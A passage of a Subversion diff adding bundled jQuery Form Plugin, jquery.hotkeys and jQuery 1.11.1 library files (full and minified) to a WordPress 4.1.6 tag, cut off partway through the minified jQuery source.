+ *  v == ['C1']
+ *
+ * The successful argument controls whether or not the field element must be 'successful'
+ * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
+ * The default value of the successful argument is true.  If this value is false the value(s)
+ * for each element is returned.
+ *
+ * Note: This method *always* returns an array.  If no valid value can be determined the
+ *    array will be empty, otherwise it will contain one or more values.
+ */
+$.fn.fieldValue = function(successful) {
+    for (var val=[], i=0, max=this.length; i < max; i++) {
+        var el = this[i];
+        var v = $.fieldValue(el, successful);
+        if (v === null || typeof v == 'undefined' || (v.constructor == Array && !v.length)) {
+            continue;
+        }
+        if (v.constructor == Array)
+            $.merge(val, v);
+        else
+            val.push(v);
+    }
+    return val;
+};
+
+/**
+ * Returns the value of the field element.
+ */
+$.fieldValue = function(el, successful) {
+    var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
+    if (successful === undefined) {
+        successful = true;
+    }
+
+    if (successful && (!n || el.disabled || t == 'reset' || t == 'button' ||
+        (t == 'checkbox' || t == 'radio') && !el.checked ||
+        (t == 'submit' || t == 'image') && el.form && el.form.clk != el ||
+        tag == 'select' && el.selectedIndex == -1)) {
+            return null;
+    }
+
+    if (tag == 'select') {
+        var index = el.selectedIndex;
+        if (index < 0) {
+            return null;
+        }
+        var a = [], ops = el.options;
+        var one = (t == 'select-one');
+        var max = (one ? index+1 : ops.length);
+        for(var i=(one ? index : 0); i < max; i++) {
+            var op = ops[i];
+            if (op.selected) {
+                var v = op.value;
+                if (!v) { // extra pain for IE...
+                    v = (op.attributes && op.attributes['value'] && !(op.attributes['value'].specified)) ? op.text : op.value;
+                }
+                if (one) {
+                    return v;
+                }
+                a.push(v);
+            }
+        }
+        return a;
+    }
+    return $(el).val();
+};
+
+/**
+ * Clears the form data.  Takes the following actions on the form's input fields:
+ *  - input text fields will have their 'value' property set to the empty string
+ *  - select elements will have their 'selectedIndex' property set to -1
+ *  - checkbox and radio inputs will have their 'checked' property set to false
+ *  - inputs of type submit, button, reset, and hidden will *not* be effected
+ *  - button elements will *not* be effected
+ */
+$.fn.clearForm = function(includeHidden) {
+    return this.each(function() {
+        $('input,select,textarea', this).clearFields(includeHidden);
+    });
+};
+
+/**
+ * Clears the selected form elements.
+ */
+$.fn.clearFields = $.fn.clearInputs = function(includeHidden) {
+    var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // 'hidden' is not in this list
+    return this.each(function() {
+        var t = this.type, tag = this.tagName.toLowerCase();
+        if (re.test(t) || tag == 'textarea') {
+            this.value = '';
+        }
+        else if (t == 'checkbox' || t == 'radio') {
+            this.checked = false;
+        }
+        else if (tag == 'select') {
+            this.selectedIndex = -1;
+        }
+		else if (t == "file") {
+			if (/MSIE/.test(navigator.userAgent)) {
+				$(this).replaceWith($(this).clone(true));
+			} else {
+				$(this).val('');
+			}
+		}
+        else if (includeHidden) {
+            // includeHidden can be the value true, or it can be a selector string
+            // indicating a special test; for example:
+            //  $('#myForm').clearForm('.special:hidden')
+            // the above would clean hidden inputs that have the class of 'special'
+            if ( (includeHidden === true && /hidden/.test(t)) ||
+                 (typeof includeHidden == 'string' && $(this).is(includeHidden)) )
+                this.value = '';
+        }
+    });
+};
+
+/**
+ * Resets the form data.  Causes all form elements to be reset to their original value.
+ */
+$.fn.resetForm = function() {
+    return this.each(function() {
+        // guard against an input with the name of 'reset'
+        // note that IE reports the reset function as an 'object'
+        if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType)) {
+            this.reset();
+        }
+    });
+};
+
+/**
+ * Enables or disables any matching elements.
+ */
+$.fn.enable = function(b) {
+    if (b === undefined) {
+        b = true;
+    }
+    return this.each(function() {
+        this.disabled = !b;
+    });
+};
+
+/**
+ * Checks/unchecks any matching checkboxes or radio buttons and
+ * selects/deselects and matching option elements.
+ */
+$.fn.selected = function(select) {
+    if (select === undefined) {
+        select = true;
+    }
+    return this.each(function() {
+        var t = this.type;
+        if (t == 'checkbox' || t == 'radio') {
+            this.checked = select;
+        }
+        else if (this.tagName.toLowerCase() == 'option') {
+            var $sel = $(this).parent('select');
+            if (select && $sel[0] && $sel[0].type == 'select-one') {
+                // deselect all other options
+                $sel.find('option').selected(false);
+            }
+            this.selected = select;
+        }
+    });
+};
+
+// expose debug var
+$.fn.ajaxSubmit.debug = false;
+
+// helper fn for console logging
+function log() {
+    if (!$.fn.ajaxSubmit.debug)
+        return;
+    var msg = '[jquery.form] ' + Array.prototype.join.call(arguments,'');
+    if (window.console && window.console.log) {
+        window.console.log(msg);
+    }
+    else if (window.opera && window.opera.postError) {
+        window.opera.postError(msg);
+    }
+}
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.min.js	(revision 33402)
@@ -0,0 +1,11 @@
+/*!
+ * jQuery Form Plugin
+ * version: 3.37.0-2013.07.11
+ * @requires jQuery v1.5 or later
+ * Copyright (c) 2013 M. Alsup
+ * Examples and documentation at: http://malsup.com/jquery/form/
+ * Project repository: https://github.com/malsup/form
+ * Dual licensed under the MIT and GPL licenses.
+ * https://github.com/malsup/form#copyright-and-license
+ */
+!function(a){"use strict";function b(b){var c=b.data;b.isDefaultPrevented()||(b.preventDefault(),a(this).ajaxSubmit(c))}function c(b){var c=b.target,d=a(c);if(!d.is("[type=submit],[type=image]")){var e=d.closest("[type=submit]");if(0===e.length)return;c=e[0]}var f=this;if(f.clk=c,"image"==c.type)if(void 0!==b.offsetX)f.clk_x=b.offsetX,f.clk_y=b.offsetY;else if("function"==typeof a.fn.offset){var g=d.offset();f.clk_x=b.pageX-g.left,f.clk_y=b.pageY-g.top}else f.clk_x=b.pageX-c.offsetLeft,f.clk_y=b.pageY-c.offsetTop;setTimeout(function(){f.clk=f.clk_x=f.clk_y=null},100)}function d(){if(a.fn.ajaxSubmit.debug){var b="[jquery.form] "+Array.prototype.join.call(arguments,"");window.console&&window.console.log?window.console.log(b):window.opera&&window.opera.postError&&window.opera.postError(b)}}var e={};e.fileapi=void 0!==a("<input type='file'/>").get(0).files,e.formdata=void 0!==window.FormData;var f=!!a.fn.prop;a.fn.attr2=function(){if(!f)return this.attr.apply(this,arguments);var a=this.prop.apply(this,arguments);return a&&a.jquery||"string"==typeof a?a:this.attr.apply(this,arguments)},a.fn.ajaxSubmit=function(b){function c(c){var d,e,f=a.param(c,b.traditional).split("&"),g=f.length,h=[];for(d=0;g>d;d++)f[d]=f[d].replace(/\+/g," "),e=f[d].split("="),h.push([decodeURIComponent(e[0]),decodeURIComponent(e[1])]);return h}function g(d){for(var e=new FormData,f=0;f<d.length;f++)e.append(d[f].name,d[f].value);if(b.extraData){var g=c(b.extraData);for(f=0;f<g.length;f++)g[f]&&e.append(g[f][0],g[f][1])}b.data=null;var h=a.extend(!0,{},a.ajaxSettings,b,{contentType:!1,processData:!1,cache:!1,type:i||"POST"});b.uploadProgress&&(h.xhr=function(){var c=a.ajaxSettings.xhr();return c.upload&&c.upload.addEventListener("progress",function(a){var c=0,d=a.loaded||a.position,e=a.total;a.lengthComputable&&(c=Math.ceil(100*(d/e))),b.uploadProgress(a,d,e,c)},!1),c}),h.data=null;var j=h.beforeSend;return h.beforeSend=function(a,b){b.data=e,j&&j.call(this,a,b)},a.ajax(h)}function h(c){function e(a){var b=null;try{a.contentWindow&&(b=a.contentWindow.document)}catch(c){d("cannot get iframe.contentWindow document: "+c)}if(b)return b;try{b=a.contentDocument?a.contentDocument:a.document}catch(c){d("cannot get iframe.contentDocument: "+c),b=a.document}return b}function g(){function b(){try{var a=e(r).readyState;d("state = "+a),a&&"uninitialized"==a.toLowerCase()&&setTimeout(b,50)}catch(c){d("Server abort: ",c," (",c.name,")"),h(A),w&&clearTimeout(w),w=void 0}}var c=l.attr2("target"),f=l.attr2("action");x.setAttribute("target",o),i||x.setAttribute("method","POST"),f!=m.url&&x.setAttribute("action",m.url),m.skipEncodingOverride||i&&!/post/i.test(i)||l.attr({encoding:"multipart/form-data",enctype:"multipart/form-data"}),m.timeout&&(w=setTimeout(function(){v=!0,h(z)},m.timeout));var g=[];try{if(m.extraData)for(var j in m.extraData)m.extraData.hasOwnProperty(j)&&(a.isPlainObject(m.extraData[j])&&m.extraData[j].hasOwnProperty("name")&&m.extraData[j].hasOwnProperty("value")?g.push(a('<input type="hidden" name="'+m.extraData[j].name+'">').val(m.extraData[j].value).appendTo(x)[0]):g.push(a('<input type="hidden" name="'+j+'">').val(m.extraData[j]).appendTo(x)[0]));m.iframeTarget||(q.appendTo("body"),r.attachEvent?r.attachEvent("onload",h):r.addEventListener("load",h,!1)),setTimeout(b,15);try{x.submit()}catch(k){var n=document.createElement("form").submit;n.apply(x)}}finally{x.setAttribute("action",f),c?x.setAttribute("target",c):l.removeAttr("target"),a(g).remove()}}function h(b){if(!s.aborted&&!F){if(E=e(r),E||(d("cannot access response document"),b=A),b===z&&s)return s.abort("timeout"),y.reject(s,"timeout"),void 0;if(b==A&&s)return s.abort("server abort"),y.reject(s,"error","server abort"),void 0;if(E&&E.location.href!=m.iframeSrc||v){r.detachEvent?r.detachEvent("onload",h):r.removeEventListener("load",h,!1);var c,f="success";try{if(v)throw"timeout";var g="xml"==m.dataType||E.XMLDocument||a.isXMLDoc(E);if(d("isXml="+g),!g&&window.opera&&(null===E.body||!E.body.innerHTML)&&--G)return d("requeing onLoad callback, DOM not available"),setTimeout(h,250),void 0;var i=E.body?E.body:E.documentElement;s.responseText=i?i.innerHTML:null,s.responseXML=E.XMLDocument?E.XMLDocument:E,g&&(m.dataType="xml"),s.getResponseHeader=function(a){var b={"content-type":m.dataType};return b[a]},i&&(s.status=Number(i.getAttribute("status"))||s.status,s.statusText=i.getAttribute("statusText")||s.statusText);var j=(m.dataType||"").toLowerCase(),k=/(json|script|text)/.test(j);if(k||m.textarea){var l=E.getElementsByTagName("textarea")[0];if(l)s.responseText=l.value,s.status=Number(l.getAttribute("status"))||s.status,s.statusText=l.getAttribute("statusText")||s.statusText;else if(k){var o=E.getElementsByTagName("pre")[0],p=E.getElementsByTagName("body")[0];o?s.responseText=o.textContent?o.textContent:o.innerText:p&&(s.responseText=p.textContent?p.textContent:p.innerText)}}else"xml"==j&&!s.responseXML&&s.responseText&&(s.responseXML=H(s.responseText));try{D=J(s,j,m)}catch(t){f="parsererror",s.error=c=t||f}}catch(t){d("error caught: ",t),f="error",s.error=c=t||f}s.aborted&&(d("upload aborted"),f=null),s.status&&(f=s.status>=200&&s.status<300||304===s.status?"success":"error"),"success"===f?(m.success&&m.success.call(m.context,D,"success",s),y.resolve(s.responseText,"success",s),n&&a.event.trigger("ajaxSuccess",[s,m])):f&&(void 0===c&&(c=s.statusText),m.error&&m.error.call(m.context,s,f,c),y.reject(s,"error",c),n&&a.event.trigger("ajaxError",[s,m,c])),n&&a.event.trigger("ajaxComplete",[s,m]),n&&!--a.active&&a.event.trigger("ajaxStop"),m.complete&&m.complete.call(m.context,s,f),F=!0,m.timeout&&clearTimeout(w),setTimeout(function(){m.iframeTarget||q.remove(),s.responseXML=null},100)}}}var j,k,m,n,o,q,r,s,t,u,v,w,x=l[0],y=a.Deferred();if(c)for(k=0;k<p.length;k++)j=a(p[k]),f?j.prop("disabled",!1):j.removeAttr("disabled");if(m=a.extend(!0,{},a.ajaxSettings,b),m.context=m.context||m,o="jqFormIO"+(new Date).getTime(),m.iframeTarget?(q=a(m.iframeTarget),u=q.attr2("name"),u?o=u:q.attr2("name",o)):(q=a('<iframe name="'+o+'" src="'+m.iframeSrc+'" />'),q.css({position:"absolute",top:"-1000px",left:"-1000px"})),r=q[0],s={aborted:0,responseText:null,responseXML:null,status:0,statusText:"n/a",getAllResponseHeaders:function(){},getResponseHeader:function(){},setRequestHeader:function(){},abort:function(b){var c="timeout"===b?"timeout":"aborted";d("aborting upload... "+c),this.aborted=1;try{r.contentWindow.document.execCommand&&r.contentWindow.document.execCommand("Stop")}catch(e){}q.attr("src",m.iframeSrc),s.error=c,m.error&&m.error.call(m.context,s,c,b),n&&a.event.trigger("ajaxError",[s,m,c]),m.complete&&m.complete.call(m.context,s,c)}},n=m.global,n&&0===a.active++&&a.event.trigger("ajaxStart"),n&&a.event.trigger("ajaxSend",[s,m]),m.beforeSend&&m.beforeSend.call(m.context,s,m)===!1)return m.global&&a.active--,y.reject(),y;if(s.aborted)return y.reject(),y;t=x.clk,t&&(u=t.name,u&&!t.disabled&&(m.extraData=m.extraData||{},m.extraData[u]=t.value,"image"==t.type&&(m.extraData[u+".x"]=x.clk_x,m.extraData[u+".y"]=x.clk_y)));var z=1,A=2,B=a("meta[name=csrf-token]").attr("content"),C=a("meta[name=csrf-param]").attr("content");C&&B&&(m.extraData=m.extraData||{},m.extraData[C]=B),m.forceSync?g():setTimeout(g,10);var D,E,F,G=50,H=a.parseXML||function(a,b){return window.ActiveXObject?(b=new ActiveXObject("Microsoft.XMLDOM"),b.async="false",b.loadXML(a)):b=(new DOMParser).parseFromString(a,"text/xml"),b&&b.documentElement&&"parsererror"!=b.documentElement.nodeName?b:null},I=a.parseJSON||function(a){return window.eval("("+a+")")},J=function(b,c,d){var e=b.getResponseHeader("content-type")||"",f="xml"===c||!c&&e.indexOf("xml")>=0,g=f?b.responseXML:b.responseText;return f&&"parsererror"===g.documentElement.nodeName&&a.error&&a.error("parsererror"),d&&d.dataFilter&&(g=d.dataFilter(g,c)),"string"==typeof g&&("json"===c||!c&&e.indexOf("json")>=0?g=I(g):("script"===c||!c&&e.indexOf("javascript")>=0)&&a.globalEval(g)),g};return y}if(!this.length)return d("ajaxSubmit: skipping submit process - no element selected"),this;var i,j,k,l=this;"function"==typeof b?b={success:b}:void 0===b&&(b={}),i=b.type||this.attr2("method"),j=b.url||this.attr2("action"),k="string"==typeof j?a.trim(j):"",k=k||window.location.href||"",k&&(k=(k.match(/^([^#]+)/)||[])[1]),b=a.extend(!0,{url:k,success:a.ajaxSettings.success,type:i||"GET",iframeSrc:/^https/i.test(window.location.href||"")?"javascript:false":"about:blank"},b);var m={};if(this.trigger("form-pre-serialize",[this,b,m]),m.veto)return d("ajaxSubmit: submit vetoed via form-pre-serialize trigger"),this;if(b.beforeSerialize&&b.beforeSerialize(this,b)===!1)return d("ajaxSubmit: submit aborted via beforeSerialize callback"),this;var n=b.traditional;void 0===n&&(n=a.ajaxSettings.traditional);var o,p=[],q=this.formToArray(b.semantic,p);if(b.data&&(b.extraData=b.data,o=a.param(b.data,n)),b.beforeSubmit&&b.beforeSubmit(q,this,b)===!1)return d("ajaxSubmit: submit aborted via beforeSubmit callback"),this;if(this.trigger("form-submit-validate",[q,this,b,m]),m.veto)return d("ajaxSubmit: submit vetoed via form-submit-validate trigger"),this;var r=a.param(q,n);o&&(r=r?r+"&"+o:o),"GET"==b.type.toUpperCase()?(b.url+=(b.url.indexOf("?")>=0?"&":"?")+r,b.data=null):b.data=r;var s=[];if(b.resetForm&&s.push(function(){l.resetForm()}),b.clearForm&&s.push(function(){l.clearForm(b.includeHidden)}),!b.dataType&&b.target){var t=b.success||function(){};s.push(function(c){var d=b.replaceTarget?"replaceWith":"html";a(b.target)[d](c).each(t,arguments)})}else b.success&&s.push(b.success);if(b.success=function(a,c,d){for(var e=b.context||this,f=0,g=s.length;g>f;f++)s[f].apply(e,[a,c,d||l,l])},b.error){var u=b.error;b.error=function(a,c,d){var e=b.context||this;u.apply(e,[a,c,d,l])}}if(b.complete){var v=b.complete;b.complete=function(a,c){var d=b.context||this;v.apply(d,[a,c,l])}}var w=a('input[type=file]:enabled[value!=""]',this),x=w.length>0,y="multipart/form-data",z=l.attr("enctype")==y||l.attr("encoding")==y,A=e.fileapi&&e.formdata;d("fileAPI :"+A);var B,C=(x||z)&&!A;b.iframe!==!1&&(b.iframe||C)?b.closeKeepAlive?a.get(b.closeKeepAlive,function(){B=h(q)}):B=h(q):B=(x||z)&&A?g(q):a.ajax(b),l.removeData("jqxhr").data("jqxhr",B);for(var D=0;D<p.length;D++)p[D]=null;return this.trigger("form-submit-notify",[this,b]),this},a.fn.ajaxForm=function(e){if(e=e||{},e.delegation=e.delegation&&a.isFunction(a.fn.on),!e.delegation&&0===this.length){var f={s:this.selector,c:this.context};return!a.isReady&&f.s?(d("DOM not ready, queuing ajaxForm"),a(function(){a(f.s,f.c).ajaxForm(e)}),this):(d("terminating; zero elements found by selector"+(a.isReady?"":" (DOM not ready)")),this)}return e.delegation?(a(document).off("submit.form-plugin",this.selector,b).off("click.form-plugin",this.selector,c).on("submit.form-plugin",this.selector,e,b).on("click.form-plugin",this.selector,e,c),this):this.ajaxFormUnbind().bind("submit.form-plugin",e,b).bind("click.form-plugin",e,c)},a.fn.ajaxFormUnbind=function(){return this.unbind("submit.form-plugin click.form-plugin")},a.fn.formToArray=function(b,c){var d=[];if(0===this.length)return d;var f=this[0],g=b?f.getElementsByTagName("*"):f.elements;if(!g)return d;var h,i,j,k,l,m,n;for(h=0,m=g.length;m>h;h++)if(l=g[h],j=l.name,j&&!l.disabled)if(b&&f.clk&&"image"==l.type)f.clk==l&&(d.push({name:j,value:a(l).val(),type:l.type}),d.push({name:j+".x",value:f.clk_x},{name:j+".y",value:f.clk_y}));else if(k=a.fieldValue(l,!0),k&&k.constructor==Array)for(c&&c.push(l),i=0,n=k.length;n>i;i++)d.push({name:j,value:k[i]});else if(e.fileapi&&"file"==l.type){c&&c.push(l);var o=l.files;if(o.length)for(i=0;i<o.length;i++)d.push({name:j,value:o[i],type:l.type});else d.push({name:j,value:"",type:l.type})}else null!==k&&"undefined"!=typeof k&&(c&&c.push(l),d.push({name:j,value:k,type:l.type,required:l.required}));if(!b&&f.clk){var p=a(f.clk),q=p[0];j=q.name,j&&!q.disabled&&"image"==q.type&&(d.push({name:j,value:p.val()}),d.push({name:j+".x",value:f.clk_x},{name:j+".y",value:f.clk_y}))}return d},a.fn.formSerialize=function(b){return a.param(this.formToArray(b))},a.fn.fieldSerialize=function(b){var c=[];return this.each(function(){var d=this.name;if(d){var e=a.fieldValue(this,b);if(e&&e.constructor==Array)for(var f=0,g=e.length;g>f;f++)c.push({name:d,value:e[f]});else null!==e&&"undefined"!=typeof e&&c.push({name:this.name,value:e})}}),a.param(c)},a.fn.fieldValue=function(b){for(var c=[],d=0,e=this.length;e>d;d++){var f=this[d],g=a.fieldValue(f,b);null===g||"undefined"==typeof g||g.constructor==Array&&!g.length||(g.constructor==Array?a.merge(c,g):c.push(g))}return c},a.fieldValue=function(b,c){var d=b.name,e=b.type,f=b.tagName.toLowerCase();if(void 0===c&&(c=!0),c&&(!d||b.disabled||"reset"==e||"button"==e||("checkbox"==e||"radio"==e)&&!b.checked||("submit"==e||"image"==e)&&b.form&&b.form.clk!=b||"select"==f&&-1==b.selectedIndex))return null;if("select"==f){var g=b.selectedIndex;if(0>g)return null;for(var h=[],i=b.options,j="select-one"==e,k=j?g+1:i.length,l=j?g:0;k>l;l++){var m=i[l];if(m.selected){var n=m.value;if(n||(n=m.attributes&&m.attributes.value&&!m.attributes.value.specified?m.text:m.value),j)return n;h.push(n)}}return h}return a(b).val()},a.fn.clearForm=function(b){return this.each(function(){a("input,select,textarea",this).clearFields(b)})},a.fn.clearFields=a.fn.clearInputs=function(b){var c=/^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i;return this.each(function(){var d=this.type,e=this.tagName.toLowerCase();c.test(d)||"textarea"==e?this.value="":"checkbox"==d||"radio"==d?this.checked=!1:"select"==e?this.selectedIndex=-1:"file"==d?/MSIE/.test(navigator.userAgent)?a(this).replaceWith(a(this).clone(!0)):a(this).val(""):b&&(b===!0&&/hidden/.test(d)||"string"==typeof b&&a(this).is(b))&&(this.value="")})},a.fn.resetForm=function(){return this.each(function(){("function"==typeof this.reset||"object"==typeof this.reset&&!this.reset.nodeType)&&this.reset()})},a.fn.enable=function(a){return void 0===a&&(a=!0),this.each(function(){this.disabled=!a})},a.fn.selected=function(b){return void 0===b&&(b=!0),this.each(function(){var c=this.type;if("checkbox"==c||"radio"==c)this.checked=b;else if("option"==this.tagName.toLowerCase()){var d=a(this).parent("select");b&&d[0]&&"select-one"==d[0].type&&d.find("option").selected(!1),this.selected=b}})},a.fn.ajaxSubmit.debug=!1}(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.js	(revision 33402)
@@ -0,0 +1,134 @@
+/******************************************************************************************************************************
+
+ * @ Original idea by by Binny V A, Original version: 2.00.A
+ * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/
+ * @ Original License : BSD
+
+ * @ jQuery Plugin by Tzury Bar Yochay
+        mail: tzury.by@gmail.com
+        blog: evalinux.wordpress.com
+        face: facebook.com/profile.php?id=513676303
+
+        (c) Copyrights 2007
+
+ * @ jQuery Plugin version Beta (0.0.2)
+ * @ License: jQuery-License.
+
+TODO:
+    add queue support (as in gmail) e.g. 'x' then 'y', etc.
+    add mouse + mouse wheel events.
+
+USAGE:
+    $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');});
+    $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});>
+    $.hotkeys.remove('Ctrl+c');
+    $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'});
+
+******************************************************************************************************************************/
+(function (jQuery){
+    this.version = '(beta)(0.0.3)';
+	this.all = {};
+    this.special_keys = {
+        27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock',
+        144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup',
+        34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3',
+        115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'};
+
+    this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&",
+        "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<",
+        ".":">",  "/":"?",  "\\":"|" };
+
+    this.add = function(combi, options, callback) {
+        if (jQuery.isFunction(options)){
+            callback = options;
+            options = {};
+        }
+        var opt = {},
+            defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]},
+            that = this;
+        opt = jQuery.extend( opt , defaults, options || {} );
+        combi = combi.toLowerCase();
+
+        // inspect if keystroke matches
+        var inspector = function(event) {
+            // WP: not needed with newer jQuery
+            // event = jQuery.event.fix(event); // jQuery event normalization.
+            var element = event.target;
+            // @ TextNode -> nodeType == 3
+            // WP: not needed with newer jQuery
+            // element = (element.nodeType==3) ? element.parentNode : element;
+
+            if ( opt['disableInInput'] ) { // Disable shortcut keys in Input, Textarea fields
+                var target = jQuery(element);
+
+				if ( ( target.is('input') || target.is('textarea') ) &&
+					( ! opt.noDisable || ! target.is( opt.noDisable ) ) ) {
+
+					return;
+                }
+            }
+            var code = event.which,
+                type = event.type,
+                character = String.fromCharCode(code).toLowerCase(),
+                special = that.special_keys[code],
+                shift = event.shiftKey,
+                ctrl = event.ctrlKey,
+                alt= event.altKey,
+                meta = event.metaKey,
+                propagate = true, // default behaivour
+                mapPoint = null;
+
+            // in opera + safari, the event.target is unpredictable.
+            // for example: 'keydown' might be associated with HtmlBodyElement
+            // or the element where you last clicked with your mouse.
+            // WP: needed for all browsers
+            // if (jQuery.browser.opera || jQuery.browser.safari){
+                while (!that.all[element] && element.parentNode){
+                    element = element.parentNode;
+                }
+            // }
+            var cbMap = that.all[element].events[type].callbackMap;
+            if(!shift && !ctrl && !alt && !meta) { // No Modifiers
+                mapPoint = cbMap[special] ||  cbMap[character]
+			}
+            // deals with combinaitons (alt|ctrl|shift+anything)
+            else{
+                var modif = '';
+                if(alt) modif +='alt+';
+                if(ctrl) modif+= 'ctrl+';
+                if(shift) modif += 'shift+';
+                if(meta) modif += 'meta+';
+                // modifiers + special keys or modifiers + characters or modifiers + shift characters
+                mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]]
+            }
+            if (mapPoint){
+                mapPoint.cb(event);
+                if(!mapPoint.propagate) {
+                    event.stopPropagation();
+                    event.preventDefault();
+                    return false;
+                }
+            }
+		};
+        // first hook for this element
+        if (!this.all[opt.target]){
+            this.all[opt.target] = {events:{}};
+        }
+        if (!this.all[opt.target].events[opt.type]){
+            this.all[opt.target].events[opt.type] = {callbackMap: {}}
+            jQuery.event.add(opt.target, opt.type, inspector);
+        }
+        this.all[opt.target].events[opt.type].callbackMap[combi] =  {cb: callback, propagate:opt.propagate};
+        return jQuery;
+	};
+    this.remove = function(exp, opt) {
+        opt = opt || {};
+        target = opt.target || jQuery('html')[0];
+        type = opt.type || 'keydown';
+		exp = exp.toLowerCase();
+        delete this.all[target].events[type].callbackMap[exp]
+        return jQuery;
+	};
+    jQuery.hotkeys = this;
+    return jQuery;
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.hotkeys.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+(function(a){this.version="(beta)(0.0.3)";this.all={};this.special_keys={27:"esc",9:"tab",32:"space",13:"return",8:"backspace",145:"scroll",20:"capslock",144:"numlock",19:"pause",45:"insert",36:"home",46:"del",35:"end",33:"pageup",34:"pagedown",37:"left",38:"up",39:"right",40:"down",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12"};this.shift_nums={"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","\\":"|"};this.add=function(c,b,h){if(a.isFunction(b)){h=b;b={}}var d={},f={type:"keydown",propagate:false,disableInInput:false,target:a("html")[0]},e=this;d=a.extend(d,f,b||{});c=c.toLowerCase();var g=function(j){var o=j.target;if(d.disableInInput){var s=a(o);if(s.is("input")||s.is("textarea")){return}}var l=j.which,u=j.type,r=String.fromCharCode(l).toLowerCase(),t=e.special_keys[l],m=j.shiftKey,i=j.ctrlKey,p=j.altKey,w=j.metaKey,q=true,k=null;while(!e.all[o]&&o.parentNode){o=o.parentNode}var v=e.all[o].events[u].callbackMap;if(!m&&!i&&!p&&!w){k=v[t]||v[r]}else{var n="";if(p){n+="alt+"}if(i){n+="ctrl+"}if(m){n+="shift+"}if(w){n+="meta+"}k=v[n+t]||v[n+r]||v[n+e.shift_nums[r]]}if(k){k.cb(j);if(!k.propagate){j.stopPropagation();j.preventDefault();return false}}};if(!this.all[d.target]){this.all[d.target]={events:{}}}if(!this.all[d.target].events[d.type]){this.all[d.target].events[d.type]={callbackMap:{}};a.event.add(d.target,d.type,g)}this.all[d.target].events[d.type].callbackMap[c]={cb:h,propagate:d.propagate};return a};this.remove=function(c,b){b=b||{};target=b.target||a("html")[0];type=b.type||"keydown";c=c.toLowerCase();delete this.all[target].events[type].callbackMap[c];return a};a.hotkeys=this;return a})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.js	(revision 33402)
@@ -0,0 +1,5 @@
+/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
+!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||m.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(m.isPlainObject(c)||(b=m.isArray(c)))?(b?(b=!1,f=a&&m.isArray(a)?a:[]):f=a&&m.isPlainObject(a)?a:{},g[d]=m.extend(j,f,c)):void 0!==c&&(g[d]=c));return 